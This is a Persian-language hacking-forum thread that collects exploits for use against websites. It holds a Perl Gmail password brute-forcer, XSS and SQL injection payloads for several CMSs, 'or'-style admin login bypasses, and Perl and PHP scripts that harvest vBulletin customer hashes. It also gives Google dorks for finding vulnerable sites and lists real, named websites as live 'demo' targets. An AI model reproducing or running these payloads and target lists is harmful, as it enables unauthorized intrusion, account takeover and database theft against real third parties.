اکسپلویت های لینوکس(هک سایت)

[DeMoN]

#######################################################################
#
# Exploit Title: Cms Made Simple multi vulnerability 1.11.10
# Date: 2014 12 June
# Author: Dr.3v1l
# Vendor Homepage: http://www.cmsmadesimple.org
# Version : 1.11.10
# Tested on: Windows
# Category: webapps
# Google Dork: intext:"powered by CMS Made Simple"
#
#######################################################################
#
# [+] Exploit :
#
# Cross site scripting (xss) : 
# 
#  POST input <default_cms_lang> was set to <fa_IR" onmouseover=prompt(3v1l) bad=">
#  http://<server>/cmsmadesimple/Install/index.php?sessiontest=1'>http://<server>/cmsmadesimple/Install/index.php?sessiontest=1
#  http://<server>/cmsmadesimple/Install/index.php
#  
# Host header attack :
#  
#  http://<server>/cmsmadesimple/admin/login.php 
#  
#  PoC : cmsmadesimple\admin\themes\NCleanGrey\login.php
#  
#  .
#  .
#  .
#  
#          <p id="img"><?php echo lang('login_info')?>:</p>
#          <?php echo lang('login_info_params')?>

#  
#          // #vulnerability is here
#          <span>( <?php echo $_SERVER['HTTP_HOST'];?> )</span>

#          // --end
#  
#          </div>

#          </div>

#          <div class="login">
#  .
#  .
#  .
#  .
#  
#  --------------------------
#  
#  /cmsmadesimple/index.php 
#
#######################################################################
#
# [+] Contact Me :
#
#     B.Devils.B@gmail.com
#     Twitter.com/Doctor_3v1l
#     IR.linkedin.com/in/hossein3v1l
#     http://about.me/Hossein.Hezami
#     https://www.facebook.com/hossein3v1l
#     http://doctor3v1l.tumblr.com
#     http://instagram.com/doctor3v1l
#     Hossein Hezami - Black_Devils B0ys
#
#######################################################################
# B.Devils.B Friends , R.H.H (UnderGround) , IeDB.IR , Emperor Team
# specially of brother Medrik for keep me again researching ..
#######################################################################

سلام خدمت دوستان عزیز گارد ایران.

خوب در این تاپیک براتون تمامی اکسپلویت های سرور های لینوکس رو قرار میدم و امیدوارم لذت ببرین.

 

یا حق

[DeMoN]

سلام

اکسپلویت پرل برای بروت فروس جیمیل

#!/usr/bin/perl
# c0dex by m0x.lk
# pGmail .-
system ("color f0");
system ("clear");
system ("cls");
print "\tc0dex by m0x.lk\n";
print "\n";
print "\t\t BrGmail .- RE & HaSe * darkc0de\n";
print "\n";
use LWP::UserAgent;
use HTTP::Cookies;
use WWW::Gmail;
sleep 1;
print "Usuario: \tEj. user@gmail.com";
$usuario=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$i = 1;
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;

Print "[+]Bruteando...\n";

my $obj = WWW::GMail->new(
username => "$usuario",
password => "$try",
cookies => {
autosave => 1,
file => "./gmail.cookie",
},
);

my $ret = $obj->login();
if ($ret == -1) {
print $i++ . ": Fallo - $try\n";
}
else {
print "'$try - $i intentos";
last;  

[DeMoN]

Crime24 Stealer Panel 1.0 - Multiple Vulnerabilities

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # ____ _ _ ____ # | _ \ __ _(_)___ _ _| | _____ | _ \ __ _ _ __ # | | | |/ _` | / __| | | | |/ / _ \ | | | |/ _` | '_ \ # | |_| | (_| | \__ \ |_| | < __/ | |_| | (_| | | | | # |____/ \__,_|_|___/\__,_|_|\_\___| |____/ \__,_|_| |_| # # #CyberNinja | My katana can slay any security! # >> Twitter @TheHackersBay # >> Pentester / Underground hacker # # Exploit Title: Crime24 Stealer Panel <= Multiple Vulnerabilities # Date: Sunday May 3 2014 # Exploit Author: Daisuke Dan # Vendor Homepage: Crime24.net # Version: v.1 # Tested on: Windows Seven # Blog post: http://thehackersbay.org/blog/2014/05/03/crime24-stealer-panel/ # #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= An attacker can execute an XSS and inject sql commands in the search form. You must be logged in the admin panel. #=========================== EXPLOITATION ============================== 0x01 Detecting the error POST: http://site.com/?action=search POST Content: q='"><img+src=x+onerror=prompt('DaisukeDan');>&in=1&search=Search Example: http://i.imgur.com/zyIr5xv.png Result: Cross site scripting + SQL error 0x02 Exploit the SQL Injection [+] Vulnerable code: $result = mysql_query("SELECT * FROM `logs` WHERE `".$cols[$_POST["in"]]."` LIKE '%".$_POST["q"]."%';", $mysql); POST: http://site.com/?action=search POST Content: q=' union select 1,2,group_concat(column_name,0x0a),4,5,6,7,8 from information_schema.columns where table_name=0x6c6f6773-- - &in=1&search=Search Example: http://i.imgur.com/t4ydLsR.png You have access to all the database. #=========================== Gr33tz =============================# | Raw-x | eth0 | Downfall | XzLt | Insider | rootaccess | Yasker | | EZiX | Negative | ajkaro | Un0wn_X | H4T | NeTwork | Pent0thal | #================================================================#

[DeMoN]

vBulletin x.x.x Customer Area 0day

 

نوشته شده با زبان پرل

#!/usr/bin/perl 

use LWP::UserAgent; 
use HTTP::Request::Common; 


system('cls'); 
system('title vBulletin Install Auto Exploiter'); 
print "\n ---------------------------------------"; 
print "\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n"; 
print " ---------------------------------------\n"; 
print " + d4tabase.com -+- d4tabase.com + "; 
print "\n ---------------------------------------\n"; 
print " coded by n0tch shoutz d4tabase crew "; 
print "\n ---------------------------------------\n"; 


if($#ARGV == -1 or $#ARGV > 0) 
{ 
print "\n usage: ./vBulletin.pl domain (without http://) \n\n"; 
exit; 
} 


$domain = $ARGV[0]; 
$install_dir = "install"; 
$full_domain = "http://$domain/$install_dir/upgrade.php"; 
chop($domain); 


&search; 




sub search 
{ 
$url = $full_domain; 
$lwp = LWP::UserAgent->new(); 
$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"); 
$request = $lwp->post($url, ["searchHash" => "Search"]); 


print " Searching $domain ----\n "; 
if ($request->content =~ /CUSTNUMBER = \"(.+)\";/) 
{ 
print "Result : $1\n"; 
} else { 
print "Hash: Hash not found!\n"; 
} 
} 






php exploit - 
-------------------- 


<?php 
set_time_limit(0); 


if($argc < 2) { 
    echo "Usage: {$argv[0]} http://site.ru/forum" . PHP_EOL; 
    exit; 
} 


$URL = $argv[1]; 
$arr = parse_url($URL); 


### work with url 
if(strpos($URL, '?')) die("Ohh, your URL is not valid"); 
if(substr($URL, -1, 1) != '/') $URL = $URL . '/'; 
if(!$arr['scheme']) $URL = 'http://' . $URL; 


$headers = get_headers($URL . '/install/upgrade.php'); 
if(substr($headers[0], 9, 3) == '200') { 
    $source = file_get_contents($URL . "/install/upgrade.php"); 
} 
elseif($headers = get_headers($URL . '/install/finalupgrage.php')) { 
    if(substr($headers[0], 9, 3) == '200') $source = file_get_contents($URL . "/install/finalupgrage.php"); 
} 
else die("something went wrong..."); 


preg_match_all('|var CUSTNUMBER = "(.*?)";|', $source, $res); 
foreach ($res[1] as $hash) { 
    echo "Hash: " . $hash . PHP_EOL; 
    $fp = fopen("hash.txt", "a+"); 
    fwrite($fp, $hash . PHP_EOL); 
} 
?>

[DeMoN]

نام:Desenvolvido admincp Bypass Vulnerability

 

 

 

Vendor Software: tra.to

 

Version: All Version

 

Category:: webapps

 

Security Risk:: High

 

: Google Dork

 intext:"Desenvolvido por tra.to

پنل ادمین

http://www.Site.com/admin

#email   : your email



#Password: '=''or'

: Demo

http://www.carmenzanotto2323.com.br/admin/loin.php

http://www.trailercar.com.br/admin/login.php

http://www.scidevelopment.com/admincp/

[DeMoN]

[Exploit Title: [israel Real Estate SQLi+XSS


: Dork

intext:/מקבוצת BMBY – תוכנות נדל"ן ותיווך

: XSS

site.com/english/search.php?search_x=1&house_types_rent=-1&cat_id=6&city=2http://star-gold.co.il/english/search.php?search_x=1&house_types_rent=-1&cat_id=6&city=36'"--></style></script><script>alert(String.fromCharCode(88,

83, 83, 80, 79, 83, 69, 68))</script>

: SQLi

site.com/english/search.php?id=&href_from=&save_x=&active_query=&cat_id=6&city=-1&region[]=-1&space_min=1%27&space_max=&rooms_min=-1&rooms_max=-1&price_min=&price_max=&price_unit=USD&search.x=0&search.y=0

: Demo

http://www.zimuki.com

http://ben-zimra.com

http://uricka.com

http://www.exclusive-properties.co.il

www.arie-agency.com

http://www.alot.co.il

http://home2.co.il

[DeMoN]

Exploit Title :Bypass Pizza House - All right reserved

Dork:intext:"Copyright 2014 - Pizza House - All right reserved

ادمین پیج

localhost/admin/adminlogin.php

username:'=' 'or'



password:'=' 'or'
 

[DeMoN]

سلام

در این cms vCard PRO باگ sql رخ داده است توضیح خاصی ندارد دوستان عزیز با این باگ اشنایی زیادی دارند دوستان بهتر برای inject از ابزار sqlmap استفاده کنید 

# [+] Dork : "Powered by vCard PRO 3.1"

Exploit:

http://server/path/search.php?event_id=8&page=SQL

or

http://server/path/toprated.php?page=SQL

DEMO

کد:
http://www.re7at-uae.com/cart/search.php?event_id=8&page=%2527



http://www.3roba.net/cards/search.php?event_id=8&page=%2527



http://www.aldana.ae/card/search.php?event_id=8&page=%2527



http://www.b-da3wiya.com/vcard/search.php?event_id=8&page=%2527



http://afaqdubai.com/card/search.php?event_id=8&page=%2527



http://www.wisdomoftheheartfound.org/ecards/search.php?event_id=8&page=%2527



http://maxand.ru/toprated.php?page=%27



http://www.postalesevangelicas.com/toprated.php?page=%27